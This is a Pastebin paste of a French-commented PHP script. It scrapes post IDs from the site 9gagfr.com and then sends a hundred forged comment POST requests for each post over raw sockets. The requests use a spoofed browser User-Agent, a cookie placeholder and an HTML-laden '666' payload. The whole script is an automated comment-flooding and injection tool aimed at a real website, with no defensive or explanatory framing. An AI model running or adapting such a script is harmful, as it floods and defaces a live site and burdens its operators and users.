Advertisement
Guest User

Untitled

a guest
Jun 21st, 2016
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.73 KB | None | 0 0
  1. <?php
  2.     header( 'content-type: text/html; charset=utf-8' );
  3.    
  4.    libxml_use_internal_errors(true);
  5.    $racine = "http://9gagfr.com/?page=";
  6.    
  7.    function page($page, $num) {
  8.        $content = file_get_contents($page . $num);
  9.        $doc = new DOMDocument();
  10.        $doc->loadHTML($content);
  11.        $xp = new DOMXPath($doc);
  12.        
  13.        
  14.        $c = $xp->query("//*[contains(@class, 'up ')]");
  15.        $ids = array();
  16.         for($pos=0; $pos<$c->length; $pos++) {
  17.             $id = $c->item($pos)->getAttribute('value');
  18.             for ($i = 0; $i < 100; $i++) {
  19.                 $fp = stream_socket_client("tcp://149.202.208.185:80", $errno, $errstr, 30);
  20.                 //Commentaire à mettre après le = (httpencoded) et avant le &media_id=$id
  21.                 $tosend = "comment=%3Cp%3E%3Cp%3E666%3Cp%3E666%3Cp%3E666%3Cp%3E666%3C%2Fp%3E%3Cp%3E666%3C%2Fp%3E%3C%2Fp%3E%3C%2Fp%3E%3C%2Fp%3E666%3C%2Fp%3E&media_id=$id";
  22.                 $len = strlen($tosend);
  23.                 if (!$fp) {
  24.                     echo "$errstr ($errno)<br />\n";
  25.                 } else {
  26.                     $h = "POST /comments HTTP/1.1\r\n";
  27.                     $h .= "Host: 9gagfr.com\r\n";
  28.                     $h .= "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0\r\n";
  29.                     $h .= "Accept: */*\r\n";
  30.                     $h .= "Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\r\n";
  31.                     $h .= "Accept-Encoding: gzip, deflate\r\n";
  32.                     $h .= "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
  33.                     $h .= "X-Requested-With: XMLHttpRequest\r\n";
  34.                     $h .= "Referer: http://9gagfr.com/media/joseph-et-son-quot-crouton-quot\r\n";
  35.                     $h .= "Content-Length: $len\r\n";
  36.                     $h .= "Cookie:TESCOOKIES\r\n";
  37.                     $h .= "Connection: close\r\n\r\n";
  38.                     $h .= "$tosend";
  39.                     echo $id . '<br />';
  40.                     fwrite($fp, $h);
  41.                 }
  42.                 fclose($fp);
  43.             }
  44.         }
  45.     }
  46.     page($racine, 1);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement